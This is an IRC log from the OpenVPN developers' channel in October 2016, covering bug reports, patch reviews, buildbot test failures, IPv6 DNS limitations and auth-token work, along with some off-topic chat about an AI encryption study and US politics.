stdin 07:03 <@dazo> slypknot: try to run openvpn from cmd.exe 07:03 < slypknot> if password *is* included in file works normally 07:03 <@dazo> might be the management interface gets confused 07:04 < slypknot> The thing is I was sure I tested it and was sure it worked before .. so now i am totally confused 07:04 * slypknot may have done something stupid double doule checking now 07:05 <@dazo> slypknot: please test from the command line ... it might be that it tries to read password from stdin when it should read it through the management interface ... and perhaps the UI doesn't collect the password for the management interface, as it doesn't support the new auth-file format (just a single line) 07:05 < slypknot> will do 07:06 < slypknot> Ha .. Win10 supports / in paths .. with XP does not .. but that is not the issue 07:07 <@dazo> Win10 is soon just another Linux distro with just a very different and weird kernel 07:07 < slypknot> dazo: Yes cmd line version *does* prompt for password 07:07 <@dazo> slypknot: okay ... that's a UI bug then :) 07:07 < slypknot> on winxp 2.3.12 07:07 < slypknot> ok 07:08 * slypknot to trac it ? 07:08 <@dazo> yes 07:08 < slypknot> '/:) i.i. 07:14 <@dazo> syzzer: good patch ... just wondering if we should have another warning when a user actually do set --reneg-bytes 0 or >64MB.... ("--reneg-bytes 0 or larger than 64MB is NOT recommended on ciphers with block size less than 128 bits due to the SWEET32 attack vector.") 07:15 * dazo is probably environmentally damaged after having been too long on #openvpn and read too many misleading OpenVPN blog and forum posts 07:15 <@syzzer> dazo: I considered that, but I think the current warnings are sufficient :) 07:16 <@syzzer> we're screaming (quite loudly) when using 64-bit block ciphers, regardless of whether users set --reneg-bytes 07:17 <@dazo> okay, I'm convinced :) 07:19 <@vpnHelper> RSS Update - tickets: #757: OpenvpnGUI: Username only in user/pass file does not work <https://community.openvpn.net/openvpn/ticket/757> 07:21 < slypknot> dammit: generic / unclassified should have been openvpn gui i guess 07:22 <@dazo> yeah 07:23 * dazo promises he will try to remember to run 'make check' and 'make distcheck' today before pushing 07:23 <@cron2> please :) 07:23 <@dazo> :) 07:23 <@cron2> I'll get the t-shirt made... 07:24 < slypknot> I presume /somebody/ can edit the ticket appropriately as I cannot ? 07:25 <@dazo> done 07:25 < slypknot> tyvm 07:26 < slypknot> I was trying to think of an openvpn slogan for the tee-shirt ;) 07:26 < slypknot> but it is *so* widely used I cannot get a bead on it 07:26 <@cron2> test! then commit! :) 07:26 <@cron2> that is the slogan 07:26 <@dazo> no ... Test! Then Push! 07:27 <@cron2> right 07:27 <@dazo> you may commit before testing ;-) 07:27 <@plaisthos> alias yolo='git ci -m "deal with it; git push -f" 07:27 <@dazo> heh 07:27 < slypknot> ouch ! 07:28 <@cron2> as a side note... quagga has a system where *every* patch on the list gets test-built and reported to the list how that went... 07:28 <@cron2> we need r'to have that too :) 07:29 <@dazo> yeah, that'd be a good one ... with a test report to the same Message-Id ... if it fails, we know we can ignore it 07:29 <@cron2> this, yes 07:30 <@cron2> i'll try to get his scripts... 07:30 <@dazo> on the other hand .... that could be massively abused unless it only builds from allowed senders .... others would need to have some kind of approval 07:30 <@syzzer> .. or use something like gerrit 07:30 <@cron2> something in throwaway vms, yes 07:31 <@syzzer> (note that we already have a lightweight this for github pull requests ;) ) 07:31 * syzzer ducks 07:31 <@cron2> boarding... 07:31 <@dazo> cron2: patch t_client.sh to execute a new script which is a pure spam script ..... builds successfully and starts make check .... and profit 07:33 <@cron2> dazo: yeah, not trivial. maybe travis can help... 07:34 <@dazo> yeah ... otherwise patches could be signed, and it is signed by approved community members the test script knows it can more trust the patch 07:34 <@dazo> at least one of us have approved the contributor .... but this will be a management overhead 07:35 <@dazo> lets see what travis can do 07:36 <@dazo> (*and if it is signed....) 07:37 <@syzzer> travis already does builds and 'make check' (without t_client, but still) for each gh pull request 07:40 * dazo acks the reneg patches and commits right now 07:40 <@dazo> so if there's more acks in the pipe, let me know within the next 10 minutes 07:42 <@dazo> meh ... bl***y mail-archive indexer isn't working again :/ 07:43 * dazo misses gmane 07:53 <@plaisthos> dazo: you could ack the mattock/me patch 07:53 <@plaisthos> I can also ACK mattock's vesion with "comment": it is my patch with whitespace changes, so ACK?! 07:55 <@dazo> plaisthos: yeah, this one? https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg12766.html 07:55 <@vpnHelper> Title: [Openvpn-devel] [Patch v2] Make Changes.rst nicer for 2.4 release (at www.mail-archive.com) 07:56 * dazo is applying the CRL patch now 08:03 <@dazo> since plaisthos doesn't scream "NO!", I'll ACK that v2 Changes.rst patch 08:21 <@vpnHelper> RSS Update - gitrepo: Make Changes.rst nicer for 2.4 release <https://github.com/OpenVPN/openvpn/commit/ffe508e1082000531c9dc3a60abb9b6ba448f519> || Add a revoked cert to the sample keys <https://github.com/OpenVPN/openvpn/commit/a64d76e246042fde40189033b87b126627db5b6b> || Limit --reneg-bytes to 64MB when using small block ciphers <https://github.com/OpenVPN/openvpn/commit/752caece99a61e516386f94823e82ddf13fcbcab> 08:25 <@plaisthos> dazo: yes 08:30 <@syzzer> dazo: "Your patch has been applied to the dev/pre-push-hook branch" ?? 08:31 <@syzzer> and "Your patch has been applied to the branch" 08:32 <@syzzer> that aside, \o/ 08:32 <@dazo> ouch 08:32 <@dazo> I ran the regen-ackmsg script too early :/ 08:32 <@dazo> it picks up thing from a specific remote branch 08:35 <@syzzer> hm, is this the right Changes.rst version? Looks funnyon gh: https://github.com/OpenVPN/openvpn/blob/master/Changes.rst 08:35 <@vpnHelper> Title: openvpn/Changes.rst at master · OpenVPN/openvpn · GitHub (at github.com) 08:35 <@syzzer> ah, tabs/spaces 08:39 <@dazo> meh 08:39 * dazo should probably close his laptop now ... :/ ... obviously too little sleep the last 3 weeks 08:45 <@syzzer> dazo: seems there is no 'correct' version of the Changes.rst patch on the ml 08:58 <@dazo> eek 08:59 <@dazo> I need some dinner first and I'll check what the happened where 09:00 <@dazo> this is just insane .... need to double check my script again .... I did apply this to a really fresh git clone, to avoid mess .... but it exploded 10:55 <@cron2> dazo: I'll add "look at the mail before sending, whether it makes sense!" to the t-shirt... 10:59 <@dazo> cron2: I'm going to look into doing these e-mail fully automated through git push hooks ... seems that can actually extract all info which will be pushed. And I'm looking into even making it run 'make check' which must pass before it will push too 11:00 <@dazo> getting all this crap from a fresh and clean git tree, that is just pisses me off 11:02 <@cron2> dazo: don't automate that, really. It needs a visual check (like, if *you* ACK something, adding the actual ACK to the mail body :-) ) 11:03 <@cron2> and with your luck in mail sending... extra-double-check is needed :-) 11:03 <@dazo> (on the other hand ... I've had an average of max 4-5 hours sleep the last 4 weeks, and that begins to wear these days - that surely doesn't help either ... luckily, from Monday things should go back to normal again ... ) 11:04 <@cron2> then... go to sleep now :-) - have a good night! 11:04 <@dazo> the thing is that I did look at the responses ... and I didn't see it :/ 11:04 * cron2 remembers the time when the kids were small, and sleep was insufficient 11:06 <@cron2> plaisthos: your buildbot is still failing with 11:06 <@dazo> my wife have had 90% normal job + full time studies + exams this month too ... and I've already reduced my workload to a bare minimum so we could get through all this ... just 2 more working days left this month :) 11:06 <@cron2> ./crypto_openssl.h:33:10: fatal error: 'openssl/evp.h' file not found 11:07 <@cron2> (strangely enough, only on the --disable-management variant) 11:07 <@dazo> and only on osx? 11:07 <@cron2> oh, and --enable-small as well 11:07 <@cron2> dazo: plaisthos only has osx buildbots :) 11:07 <@cron2> this is something with buildslave setups and non-default paths, so nothing broken in git 11:07 <@cron2> maybe mattock needs to look into this - it used to work 11:08 <@dazo> yeah, as it can't be ./configure errors .... otherwise all platforms should break with --disable-management or --enable-small 11:08 <@cron2> (but it needed special tweaking) 11:14 <@dazo> okay, it was just the Changes.rst which managed to get a wrong committish 11:38 <@cron2> File: "tmp\installer\openvpn\share\doc\openvpn\INSTALL-win32.txt" -> no files found. 11:38 <@dazo> is that nsis stuff? 11:38 <@cron2> that change really brings interesting fallout... :-) (this is mattocks windows build slave, which *should* import that file from "somewhere else") 11:38 <@cron2> yes 11:39 <@cron2> and it only happened today, when the git tree was long fixed 11:39 <@dazo> removing files can be truly tricky, it seems 11:48 <@d12fk> argv patches incoming 11:49 <@d12fk> please comment. note however, I'll be back in office starting from Wed. 11:49 <@d12fk> so do not expect a response before then. 11:49 <@dazo> wow ... those patches must have been quite exhausting! 11:49 <@dazo> ;-) 11:52 <@d12fk> why? 11:52 <@dazo> since you're first back on wed ;-) 11:55 <@d12fk> hehe, right. the timing couldn't be better =P 11:56 <@d12fk> i just noticed gmane isn't fully back up, the threads and frames interface doesn't work and the search neither 11:57 <@dazo> nope ... and mid.mail-archive.com lookups works randomly (otherwise fairly okay) 11:57 <@d12fk> anyways, i'm off, nice weekend 11:57 <@dazo> u2! enjoy! 12:01 -!- Thermi_ is now known as Thermi 14:55 <@dazo> syzzer: I know you're out ... just sent the complete 4 patches for a final review and ACK of --auth-gen-token .... just to avoid any confusion as there have been a little bit back-and-forth with the previous mail-thread. I hope I've managed to cover all your feedback. 14:56 * dazo starts to poke at the client rejection 15:20 <@dazo> slypknot: Your tincan boxes still have issues in 'make check' .... 15:20 <@dazo> Test sets succeded: 1 2 3 4 5. 15:20 <@dazo> Test sets failed: 6. 15:20 <@dazo> FAIL: t_client.sh 15:21 <@dazo> FAIL: IPv4 ping test (3000 bytes) failed, but should succeed. 15:22 <@dazo> FAIL: IPv6 ping test (3000 bytes) failed, but should succeed. 15:23 <@dazo> that failure seems consistent across all runs 15:29 < slypknot> yup .. i told you :) 15:29 * slypknot is looking for the thread 15:31 < slypknot> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg12619.html 15:31 <@vpnHelper> Title: Re: [Openvpn-devel] Slight change to buildbot t_client.sh.in & t_client.rc (at www.mail-archive.com) 15:31 < slypknot> there is a wee fix .. but cron2 says *no* 15:32 < slypknot> i was just trying to help 15:32 < slypknot> btw: tincan-debian-8 should pass that test .. yes/no ? 15:34 < slypknot> dazo: expand that link 15:34 <@dazo> slypknot: cron2 says no for a very good reason ... and I agree with him ... it would make things quite worse for us who apply things to the git tree and run several tests locally 15:35 <@dazo> slypknot: consider to patch t_client.sh.in with what mattock (Samuli) suggests 15:35 < slypknot> dazo: yes .. sorry my internet is not upto scratch .. but if you read my very last comment you will see that for the sake of a few milliseconds it can be resolved and without handing any further control to a client 15:35 <@dazo> then you can add that change locally on your own setup 15:36 < slypknot> i cannot make any change as t_client.sh is built from t_clientsh.in and that is downloaded from master every time 15:36 <@dazo> when cron2 says no and don't respond to follow-ups in the same discussion track ... it either means he won't change his opinion (or less likely, he missed the post) 15:37 < slypknot> like i said .. i was only trying to help .. if my bots are surplus to requirement they can be turned off 15:37 <@dazo> slypknot: exactly my point ... propose a patch to the ML, adding this to t_client.sh.in 15:37 < slypknot> ah .. so i just proposed the wrong change ? 15:38 <@dazo> I think what mattock suggests makes more sense ... as then you can have in your own t_client.rc what ever additional fping arguments you'd like 15:39 <@dazo> and it doesn't affect anyone else in a bad way 15:39 < slypknot> i think my last comment in that thread explains a better solution that does not effect anything bar a few milliseconds 15:39 < slypknot> and it is set on master not by client 15:40 * dazo moves on 15:40 < slypknot> ok 15:40 < slypknot> I think you are all being a bit anal .. but it is up to you 15:41 -!- slypknot was kicked from #openvpn-devel by dazo [NEVER say such things here] 15:42 < slypknot> i'll try re-submitting a new question .. sorry about the other thing 15:43 * slypknot send gratuitous aplogies 15:49 < slypknot> dazo: one thing which you may have missed was that cron2 does not want to add any additional functionality to the client side .. the change that mattock suggested would allow almost arbitrary 'code' included to fpings .. so i was absolutely trying to do this as a master side change only .. so clients must conform but making what they conform to just a little tiny bit more flexible in that the timeoput 15:49 < slypknot> would be increased from 25ms to (for me) 100ms .. 15:52 <@cron2> what I do not want is to slow down *all* clients because *your* Internet is sub-par - adding something to have local additions to the fping line is a local choice, so won't affect other buildbots 15:54 < slypknot> I agree completely with all the points; my simple goal was to get mine to work properly .. by adding 100ms to the -i perameter (1/10th of a second) seems to solve the problem 15:54 <@dazo> slypknot: Adding FPING_EXTRA_ARGS is done to the client t_client.rc file which you must have on all build slaves .... so "allow almost arbitrary 'code' included to fpings" would only be what you yourself allow into that config file 15:54 < slypknot> i tested on all my bots and all at the same ti,e 15:54 < slypknot> time* 15:55 < slypknot> dazo: that is not the change I proposed 15:55 <@dazo> but *that* is the change we are willing to seriously consider 15:55 <@cron2> but this is the change we'll possibly accept: put this under the control of the buildbot operator, so where needed, it can be added *locally* 15:55 < slypknot> I propose adding -i 2000 at first and followed up with add -i 100 to t_client.sh.in 15:55 <@dazo> that is not going to happen ... ever 15:56 <@dazo> FPING_EXTRA_ARGS can happen 15:56 < slypknot> -i 2000 nevert of course 15:56 <@dazo> not even -i 100 15:56 <@dazo> EOD 15:56 < slypknot> ok .. well i leave the details of what you prefer to you 15:57 < slypknot> I could add a note here: https://community.openvpn.net/openvpn/wiki/SettingUpBuildslave#Listofexistingbuildslaves 15:57 <@vpnHelper> Title: SettingUpBuildslave – OpenVPN Community (at community.openvpn.net) 15:57 < slypknot> that my bb will fail that test 15:59 < slypknot> the thing that threw me the curve ball was that adding -i 50 ran faster than -i 25 .. I am wondering if there is a slight bug in fping 15:59 <@dazo> gee .... we have given you a possibility to fix this .... and you still reject considering that path? 15:59 < slypknot> i must be missing the point .. not intentionally 15:59 <@dazo> FPING_EXTRA_ARGS can happen 15:59 * cron2 is tired, after a long week, and goes to bed 16:00 < slypknot> ok 16:00 <@dazo> I honestly don't know how I can say it clearer, sorry 16:00 < slypknot> ok 16:00 <@dazo> gn8, cron2 16:01 < slypknot> yep sleep well .. and please . i don't mean to be stupid .. i just don't get everything straight away 16:04 < slypknot> dazo: are you gonna sleep yet or can i just double check this with you ? 16:05 <@dazo> I'll be around for 5 more minutes 16:05 * dazo need to catch a tram soon 16:05 < slypknot> kk .. very quickly then 16:05 <@dazo> sure, go ahead! 16:06 < slypknot> FPING_EXTRA_ARGS is preferred over my proposed change because it can be set by the client on a per needed basis .. that sound right 16:07 <+krzee> it does what you want, for you, by setting things locally 16:07 <+krzee> without affecting anybody else 16:07 <+krzee> thats how i read it at least 16:08 < slypknot> ok .. then is it preferred i keep to the initial thread or restart a new one to that effect ? 16:08 < slypknot> and that is all i need to know 16:09 < slypknot> krzee: 16:10 < slypknot> arg ! /me is confused .. mabye try again tomoz 16:10 <@dazo> slypknot: I'd start fresh with a new mail thread, starting with a patch updating t_client.sh.in which supports picking up FPING_EXTRA_ARGS from t_client.rc 16:10 < slypknot> dazo: gotcha 16:10 <@dazo> yw! 16:10 < slypknot> many thanks 16:11 < slypknot> sleep well :) 16:12 < slypknot> krzee: hi man .. hows married life :D 16:13 * dazo heads home 16:14 <+krzee> samesame, all good 16:14 < slypknot> well i am not gonna quiz you .. all the best for RL 16:33 <+krzee> https://techcrunch.com/2016/10/28/googles-ai-creates-its-own-inhuman-encryption/ 16:46 < slypknot> Matrix: City 01 has arrived ;) 16:47 < slypknot> two cpu's vs one cpu .. 16:50 < slypknot> krzee: cmon back now breaker breaker 16:50 <+krzee> ? 16:51 < slypknot> well at its very simplest it is at least 2 cpu's vs one cpu .. and they are very good at doing a lot of simple tasks quickly 16:51 < slypknot> two guys work faster than one 16:53 < slypknot> if A+B have an pre-arrangent start point that C has to break first then a+Bcan just exponentially keep adding simple layers to keep C off thier tail 16:54 < slypknot> some of my passwords are like 25 digits 16:54 < slypknot> 25 random digits 16:55 < slypknot> even if we only include lowercase letters .. that is 25^26^26 16:56 < slypknot> if we include numbers .. 16:56 < slypknot> and if you teach a program how to mix different methods .. 16:59 < slypknot> there is a lot of details missing from that link .. 16:59 <+krzee> you didnt follow to the study then 16:59 <+krzee> its a pdf linked there 16:59 <+krzee> and you missed the cool part 16:59 <+krzee> its not about the fact that it was easier to encrypt than crack 16:59 < slypknot> i may have missed the details .. can you point me where you need me to go ? 17:00 < slypknot> ok the pdf .. reading now 17:00 <+krzee> the neural network came up with new encryption methods 17:00 < slypknot> ahh ok 17:00 <+krzee> that are nothing like ours 17:00 * slypknot reading pdf 17:00 < slypknot> matrix o1 17:02 < slypknot> one question before i read the whole thing .. do A+B know how good C is doing ? and therefore upgrade there encryption or is it just that they came up with new stuff on their own ? 17:02 <+krzee> please dont ask me questions about a study that you may or may not choose to read, i only read the same thing as you 17:02 < slypknot> read it .. ok 17:02 <+krzee> i wasnt part of the study or anything 17:03 <+krzee> nor do i know anything about neural networks, except that they're AI 17:03 < slypknot> yeah .. i have my doubts about that .. like deep blue 17:04 < slypknot> and quantum stuff 17:04 < slypknot> sometimes i just dont believe the hype .. 17:04 < slypknot> but i am gonna read it 17:07 < Thermi> Sadly, they don't seem to write what alice and bob actually did 17:07 < Thermi> and what eve did 17:08 < Thermi> well, what algorithm they actually implemented there 17:08 < Thermi> what the networks came up with 17:08 < Thermi> At least I didn't find that information. 17:09 < slypknot> perhaps they could not work out what they did ! 17:09 <+krzee> i wonder the same 17:09 < slypknot> I like this (which is unrelated): https://en.wikipedia.org/wiki/Sleeping_barber_problem 17:09 <@vpnHelper> Title: Sleeping barber problem - Wikipedia (at en.wikipedia.org) 17:35 < slypknot> Learing symmetric encryption .. says it all .. 17:35 < slypknot> they learn FAST 17:35 < slypknot> off each other 17:35 < slypknot> eg: 2 cpu's agreeing vs 1 cpu breaking 17:36 < slypknot> it is elementary Dr Watson 17:37 < slypknot> to be honest .. i am not sure there is anything here that Turing did not already do 17:38 < slypknot> independent computing is interesting .. 17:42 < slypknot> quote: Because we wish to explore whether a general neural 17:42 < slypknot> network can learn to communicate securely, rather than to engineer a particular method, we aimed 17:42 < slypknot> to create a neural network architecture that was 17:42 < slypknot> sufficient 17:42 < slypknot> to learn mixing functions such as XOR, 17:42 < slypknot> but that did not strongly encode the form of any particular algorithm 17:43 < slypknot> == 17:54 < slypknot> pizza delivery is an exellent metaphor for udp delivery :) 17:55 < slypknot> ^^ openvpn slogan --- Day changed Sat Oct 29 2016 08:40 < slypknot> dhcp-option DNS does not support IPv6 ? .. is this my lack of knowledge that DNS does not support IPv6 or just that IPv6 code in openvpn has not got to that option yet ? 09:47 < slypknot> nvm 15:27 <+krzee> boom got access to a first generation raspi 15:27 <+krzee> what was the version of mbedtls i was supposed to use for building openvpn-master? 15:29 <+krzee> slypknot: was that you who mentioned something to me about it the other week? 15:29 <@dazo> krzee: v2.x iirc 15:29 <+krzee> i was using the newest and somebody found that was my problem 15:30 <@dazo> hmm ... I haven't tried building with mbedtls in very long, just vaguely recall we check if version is 2.x in configure.ac 15:31 <@dazo> #if MBEDTLS_VERSION_NUMBER < 0x02000000 || MBEDTLS_VERSION_NUMBER >= 0x03000000 15:31 <@dazo> #error invalid version 15:31 <@dazo> #endif 15:31 <@dazo> I know that building with OpenSSL 1.1 will fail, as the API have changed 15:32 <@dazo> Would be very interesting to know what happens if building against mbedtls 2.4 16:10 < slypknot> krzee: if that was the problem with mbedtls .. then yep that was me :) 16:10 <+krzee> slypknot: remember what version you had success with? 16:10 <+krzee> just in case i get stuck there again 16:10 < slypknot> 221 gpl 16:11 <+krzee> thanks 16:11 < slypknot> np 16:11 < slypknot> dazo: i presume dhcp-option DNS simply does not have IPv6 address compatible code yet ? 16:11 < slypknot> https://forums.openvpn.net/viewtopic.php?f=23&t=22705 16:11 <@vpnHelper> Title: 2.4 Alpha2 Push Options Error - OpenVPN Support Forum (at forums.openvpn.net) 16:13 <@dazo> slypknot: which platform? what does the log file say when PUSH_REPLY is sent (server)/received (client)? 16:14 <@cron2> there is no way to transmit IPv6 DNS information via IPv4 DHCP, and our current DHCP stuff is IPv4-DHCP 16:14 <@cron2> (and windows only) 16:14 <@dazo> duh! 16:15 <@cron2> this is not an openvpn limitation but an IPv4 DHCP limitation - we would have to implement an IPv6 DHCP server, which we currently do not have 16:15 < slypknot> client was w10 16:15 <@cron2> (... or find another way to poke IPv6 DNS information into windows...) 16:15 <@dazo> well, that said ... on *nix, the client.up helper script should be able to pick up the address and populate /etc/resolv.conf accordingly 16:15 <@cron2> on linux, this is done by an external script which basically just copies strings into resolv.conf, so that would work 16:15 <@cron2> right :) 16:16 < slypknot> mkay thanks 16:16 <@dazo> not sure how NetworkManager would react though ... which does use some nm-openvpn-helper via openvpn script hooks 16:16 <@cron2> we might need to define a new "dhcp-option" as I think "dns" might do a syntax check on "does this look like a v4 address?" 16:17 <@dazo> yeah 16:17 < slypknot> do you want me to trac it ? 16:18 <@dazo> slypknot: could you mail d12fk and selva regarding this and get their opinion? .... they're kind of driving the windows part 16:18 <@dazo> d12fk wrote the interactive service stuff which we're shipping in 2.4 16:19 < slypknot> the dev ML would be best as i don't actually know who d12fk is /:) 16:19 <@dazo> Heiko Hund 16:19 <@dazo> but sure, ML can work too 16:19 < slypknot> will do dev ML 16:19 < slypknot> ty 16:19 <@dazo> yw! 16:20 < slypknot> and i'll try to remember that name ;) 16:21 <@cron2> /whois d12fk 16:21 <@cron2> will help :) 16:22 < slypknot> nice .. forgot about that 16:23 <@dazo> slypknot: btw ... had any chance to look at the systemd unit file stuff? 16:26 < slypknot> i have read it .. but no time to test as yet .. but i should get time nearly next week 16:26 < slypknot> early* 16:26 <@dazo> cool, thx! 16:26 < slypknot> it is quite a big project tho ! 16:27 < slypknot> so far i have at least three different versions of systemd (probably more) on 7~8 diff Linux 16:29 * slypknot can hear the stiffled laughter from the rafters 16:31 <@dazo> hehehe .... well, yeah .... that sounds like a challenge :) 16:32 <@dazo> but if you're able to give such a broad testing ... you'd make me happy .... I have a RHEL7.2 + Fedora 23 test installs currently 16:37 < slypknot> I have arch/centos7/debian8/fed24/FBSD11/ubuntu16/opeSuse42 using systemd and gentoo with its particular init system, which i plan to migrate to systemd eventually (already tried it once nut decided to stay with gentoo for the time bieng) 16:37 < slypknot> but will definately be happy to test 16:38 < slypknot> just don't want to make a total balls up of it 16:39 <@dazo> FBSD11 using systemd? 16:39 * dazo struggles to believe that ;-) 16:40 < slypknot> ah .. maybe not .. yeah fbsd11 not systemd, i am still wrapping my brain around that particular lamp post :) 16:40 <@dazo> :) 16:40 <@dazo> systemd depends on cgroups, which is a Linux specific feature, afaik 16:40 <@dazo> (which again depends on sysfs support) 16:42 < slypknot> just so you understand .. I have only been using linux with real effort for a couple of years .. i got fed up of M$ and finally pushed myself to total linux desktop maybe two years ago 16:42 <@dazo> ahh :) 16:43 < slypknot> i was using linux under VMs for a couple more years than that .. so about 4~5 in total 16:43 <@dazo> okay, I've used Linux exclusively on my computers since ~2000 ... never looked back .... and when my wife after we married needed a new laptop, I had one condition ... no Windows! :-P 16:44 < slypknot> i did try redhat some years ago but work just pushed it to the side lines 16:44 < slypknot> I agree .. once you go linux there is NO going back ;) 16:45 < slypknot> i only got a w10 laptop to keep in touch with windows for openvpn and my customers 16:45 < slypknot> i was starting to forget the simplest suff ! 16:46 < slypknot> i would love to get a brain upgrade ! 16:46 <@dazo> My wife got another new laptop this summer ... and we had to keep Windows on it (I set up dual boot) ... but that was due to online exams on the university primarily works with Windows (they have limited osx support) 16:47 < slypknot> yeah windows is in like a tick with education ! 16:47 < slypknot> last time i was at a college i got them to move to open office as they only supported ms-office .. they loved it :) 16:48 < slypknot> they just needed a wee push 16:48 < slypknot> i mean they now support both .. rather than not M$ 16:50 <@dazo> I've seen the Microsoft price list for the EDU sector .... their prices are hilariously low .... 16:50 < slypknot> nescot.ac.uk 16:50 <@dazo> that's why they cling to them 16:50 < slypknot> agreed 17:01 <@dazo> hmmmm .... my refactoring of tls_multi_process() and tls_process() broke openvpn .... :/ *grmbl* 17:04 <+krzee> after i compile openvpn-master from source where should the openvpn binary be? 17:04 <+krzee> i have a bunch of dirs with a bunch of executables in them 17:06 <@dazo> krzee: src/openvpn/openvpn 17:06 <@dazo> you can also do a lazy install ..... make DESTDIR=/tmp/openvpn-testinst install 17:10 <+krzee> thanx 17:10 <@dazo> \o/ ... profit! okay, just managed to mess up some pointers now 'make check' works :) 17:51 <@dazo> \0/ ... syzzer, I got some very clever clues from james regarding providing reject reasons (auth-gen-token) .... but it required some refactoring to be able to call send_auth_failed() from verify_user_pass() .... but initial testing looks good! Will test more on Monday 18:23 * slypknot just watch a good program by Michael Moore about Trump v Hilary .. 18:23 < slypknot> scary ! 18:23 < Thermi> Shoot them both and elect new candidates 18:23 < slypknot> bit harsh 18:24 < Thermi> harsh, but necessary. 18:24 * slypknot has opinions which are way to evolved for most ppl to comprehend 18:24 < Thermi> Okay, we actually don't need to actually shoot them. Just keep them away from any position of power. 18:25 < Thermi> Maybe make them powerless and give them early retirement rights. 18:25 < slypknot> does not matter who you put in there .. 18:25 < slypknot> you have to fix the world not just america 18:26 < slypknot> which means you have to fix people not policies 18:27 < slypknot> ergo .. we are all f.u.c.k.e.d 18:27 < slypknot> no matter what 18:29 < slypknot> but Moore does paint an informative picture 18:31 < slypknot> and we have to make corporation pay their fkn taxes 18:42 < slypknot> btw: if you think Trump and Clinton are not suitable as candidates then it probably means there is something wrong with your system .. cos there's not much chance anybody else can get in .. so lol to America 19:12 < slypknot> and as for 'powerless' ... G.W.B.Jr .. not just powerless but pointless --- Day changed Sun Oct 30 2016 02:23 < danhunsaker> slypknot: Our candidates, from every party and at every level, most certainly are a symptom, not a condition in their own right. And I'm all for treating the cause itself, because that's seriously the best approach by far. But. Not treating the symptoms while the cause is undergoing treatment of its own is just as reckless, irresponsible, and damaging. 02:24 < danhunsaker> That metaphor is also a handy generalization for essentially any other project where undesired effects exist. Such as software dev. 02:24 < danhunsaker> :D 03:01 <@cron2> danhunsaker: is there anything you want to tell us? :-) 05:33 < slypknot> maybe we should have an #openvpn-offtopic channel ? for general networking and my late night crap :D 05:33 < slypknot> sorry about my crap btw 06:56 < slypknot> ecrist: I have found an odd problem with the forum: There is a reply waiting in the Mod queue but post to which it belongs cannot be seen *at all* in the board ? 06:56 < slypknot> this is the thread: https://forums.openvpn.net/viewtopic.php?p=65300#p65300 06:57 < slypknot> But it is not to be found in the board: https://forums.openvpn.net/viewforum.php?f=4&start=100 06:57 <@vpnHelper> Title: Server Administration - Page 6 - OpenVPN Support Forum (at forums.openvpn.net) 06:59 < slypknot> That takes you to page 6, which is where it should show, the last post was on 13/june/16 .. but the entire thread is hidden even to me as a mod, that is it can only be found via direct link not list. 07:01 < slypknot> sorry: that should be page 7 and june 14th 07:04 < slypknot> I guess that is how php-bb works: hide the entire thread until mod has decided 07:12 < slypknot> FORGET IT ! .. I was looking at the wrong date *slaps head* 07:12 < slypknot> ^^^^^^^^ 17:22 < danhunsaker> cron2: Nah. Just relating the divergence back to the actual channel topic. :-) While I *have* seen programmers fix symptoms instead of causes (hotfixing behaviors while ignoring the reason those behaviors exist) or vice versa (focusing entirely on a major rewrite which will fix a number of issues long-term, and not providing short-term patches to get the 17:22 < danhunsaker> software working in the meantime), I haven't noticed that here. 18:39 < SviMik> http://svimik.com/hdmvpnasyncfail1.png 18:39 < SviMik> I guess something went wrong with my async multi-threaded client-connect script launcher... 18:42 < SviMik> can't blame the plugin, actually. it's php scripts just hanged being executed by the plugin, so a little... queue grew inside the plugin --- Day changed Mon Oct 31 2016 04:12 <@mattock> good morning 04:13 <@mattock> just manage to use 2.4_alpha2 usefully - had to prevent openvpn server @ wife's work from pushing overlapping routes 04:13 <@mattock> pull-filter did the trick 05:02 <@syzzer> nice 05:02 <@syzzer> are there plans for a meeting tonight/ 05:16 <@dazo> Depending on $kid, I can be available after 20:15-20:30 today .... and if I'm very lucky 15-20min earlier .... I think it would be good to have a meeting, but I'm not too happy about the short notice time we're having 05:26 <@syzzer> agreed. I could make it, but if not I'll go for sports. 05:51 <@dazo> syzzer: would you have time this week to review and ACK the final auth-gen-token patches? (I see patch 1/4 got duplicated, those are identical) 05:55 <@syzzer> dazo: doing just that right now 05:56 <@dazo> syzzer: cool! thx!! 06:00 <@dazo> syzzer: I'll run some more tests on the "tell user why auth fails" scenario today, and post patches ... it's two more patches. 06:00 <@syzzer> dazo: I won't be able to review those today - hopefully later this week 06:01 <@dazo> sure, no rush with those 06:01 <@dazo> auth-gen-token are the most important ones ... these two next ones are just enhancements 06:08 <@dazo> syzzer: thx a lot for ACKs! 06:29 <@vpnHelper> RSS Update - gitrepo: auth-gen-token: Authenticate generated auth-tokens when client re-aut… <https://github.com/OpenVPN/openvpn/commit/703c9784f4dcd4f77166201074c21c6ea4aeb033> || auth-gen-token: Push generated auth-tokens to the client <https://github.com/OpenVPN/openvpn/commit/2c0403ac359097bbcb1e97b777120e218e29014f> || auth-gen-token: Generate an auth-token per client <https://github.com/OpenVPN/openvpn/commit/270dc91164013eb 06:54 <@mattock> it seems Windows buildslave needs refactoring to support both 2.3 and 2.4-based builds... 06:55 <@mattock> openvpn master builds are failing because openvpn.nsi in use tries to find INSTALL-win32.txt that is included only in openvpn 2.3, but not in master 07:01 <@dazo> mattock: you removed that file from the core openvpn 07:02 <@mattock> yes indeed 07:02 <@mattock> that is not a problem, but that openvpn-windows-buildtest is not yet setup to handle that 07:02 <@mattock> or rather, to use separate openvpn-build versions depending on the branch it is building 07:03 <@mattock> so right now master windows builds are failing as a side-effect 07:03 <@mattock> originally it was perfectly fine to use the same branch of openvpn-build on both "release/2.3" and "master" builds, but now they're inconsistent, so the builds fail 07:04 <@dazo> mattock: yeah ... and you patch also didn't update Makefile.am, so it actually broke all buildslaves (I fixed that, though) ... so this patch turned out to be more painful than I expected 07:04 <@mattock> yes, noticed 07:04 <@mattock> note to self: always try building openvpn after making a patch 07:06 <@dazo> mattock: I believe cron2 will make us both a special t-shirt ..... 08:56 < ordex> syzzer: sorry for the radio silence this week, but I have been drowning in other commitments I had here 09:01 <@plaisthos> .oO(One week delay that is quite fast for our standards *ducks*) 09:02 < ordex> :D 09:03 <@syzzer> ordex: what plaisthos said. I did send the updated version of our patch to the list, and have plenty of other stuff that's begging for my attention too 09:03 <@syzzer> so nothing to be worried about 09:04 < ordex> oky :) thanks 10:05 * cron2 won't make a meeting 10:06 <@cron2> dazo: what's wrong with your testbed...? 10:06 <@cron2> options.c:872: error: 'struct options' has no member named 